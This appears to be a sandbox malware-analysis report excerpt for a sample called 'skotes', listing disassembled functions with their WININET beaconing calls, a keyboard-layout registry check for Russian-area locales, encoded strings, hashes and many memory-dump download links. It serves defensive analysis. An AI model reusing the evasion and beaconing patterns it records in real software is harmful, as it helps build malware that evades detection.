Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesFile$CreateDirectory
String ID: mxo1L0x$#$111$246122658369$9c9aa5$FCQgKF==$FisgLnsCZO1i$GiQaT29tduF=$L1f$UA==$WDw=$WTs=$invalid stoi argument$stoi argument out of range
API String ID: 1875963930-4171456581
Opcode ID: 93f2b3828eebfefaabaf16e4c9d4f1f5e624c327fe7d9a981fcadf28b1645cf5
Instruction ID: 7cd829d2a91ef0b4beab9737118d74c912e0b80e5a36cdbb4a71680fa83d8825
Opcode Fuzzy Hash: 93f2b3828eebfefaabaf16e4c9d4f1f5e624c327fe7d9a981fcadf28b1645cf5
Instruction Fuzzy Hash: 7FF21771A101489BEF1CDB28CD897DEBB739F81304F18829CE409A73D6DB759AC48B95

Function 0060BE30 Relevance: 19.6, APIs: 6, Strings: 5, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC,8FC8FEA1,?,00000000), ref: 0060BEB8
InternetOpenW.WININET(00658DC8,00000000,00000000,00000000,00000000), ref: 0060BEC7
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0060BEEC
HttpOpenRequestA.WININET(?,00000000), ref: 0060BF36
HttpSendRequestA.WININET(?,00000000), ref: 0060BFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 0060C0A8
InternetCloseHandle.WININET(?), ref: 0060C187
InternetCloseHandle.WININET(?), ref: 0060C18F
InternetCloseHandle.WININET(?), ref: 0060C197

Strings

8HJUeMD Lq5=, xrefs: 0060C465
stoi argument out of range, xrefs: 0060E4EA
8HJUeIfzLo==, xrefs: 0060C3CB, 0060C623
invalid stoi argument, xrefs: 0060E4F4
RE1NXF==, xrefs: 0060BF0E

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$invalid stoi argument$stoi argument out of range
API String ID: 2167506142-885246636
Opcode ID: 501fcd079ccc68c3ff2bb430a0c2cf9fcb554ee3f7f2a86fa1d87e7cf15423b0
Instruction ID: 369e64662831844bc612814a1034000a9474b16a2418f0da20e2c9fc956ae4b2
Opcode Fuzzy Hash: 501fcd079ccc68c3ff2bb430a0c2cf9fcb554ee3f7f2a86fa1d87e7cf15423b0
Instruction Fuzzy Hash: 1BB1F2B06501189BDB28CF28CC88BDEBB76EF45314F5086D9F509972C2DB719AC4CB98

Function 00606020 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 275
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 0060617D
RegEnumValueA.KERNEL32(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 00606271

Strings

0000043f, xrefs: 0060612B
00000419, xrefs: 00606098
00000423, xrefs: 006060FA
00000422, xrefs: 006060C9
Keyboard Layout\Preload, xrefs: 00606054

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: EnumOpenValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 2571532894-3963862150
Opcode ID: 4c87324e6f48f5f247ee70ea9a9fcab0febeb38dbb22fc82fa379e70ca663ce2
Instruction ID: 914309c748cf813fee89d10b24e30907e2b9a797cb5b68b51f545cba0813caa3
Opcode Fuzzy Hash: 4c87324e6f48f5f247ee70ea9a9fcab0febeb38dbb22fc82fa379e70ca663ce2
Instruction Fuzzy Hash: BBB1BF719401689BDB25DB14CC89BDEB7BAAF04300F4442D8F508E72D2DB749BE88F94

Function 00607D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00607ED3

Strings

JjsrPl==, xrefs: 0060828A
JjssOl==, xrefs: 0060813A
JjsrQV==, xrefs: 00608092
JjssPV==, xrefs: 006081E2

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: 0dc79fe0bd6e03a716f2fef8c15277ee9ace8b3a87e7a393a1f3e8e550355b25
Instruction ID: 41c8c066dd93f1e81104a62a3efbcf0c4fca34800f88d21755f397d803668400
Opcode Fuzzy Hash: 0dc79fe0bd6e03a716f2fef8c15277ee9ace8b3a87e7a393a1f3e8e550355b25
Instruction Fuzzy Hash: 81E1F670E406449BDB58FB68CC1B39F7A73AB82720F94429CE4156B3C2DB754E918BC6

Function 00641ABC Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00641775: CreateFileW.KERNEL32(00000000,00000000,?,00641B65,?,?,00000000,?,00641B65,00000000,0000000C), ref: 00641792

__dosmaperr.LIBCMT ref: 00641BD7
GetFileType.KERNEL32(00000000), ref: 00641BE3
__dosmaperr.LIBCMT ref: 00641BF6
__dosmaperr.LIBCMT ref: 00641D9C

Strings

H, xrefs: 00641D21

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

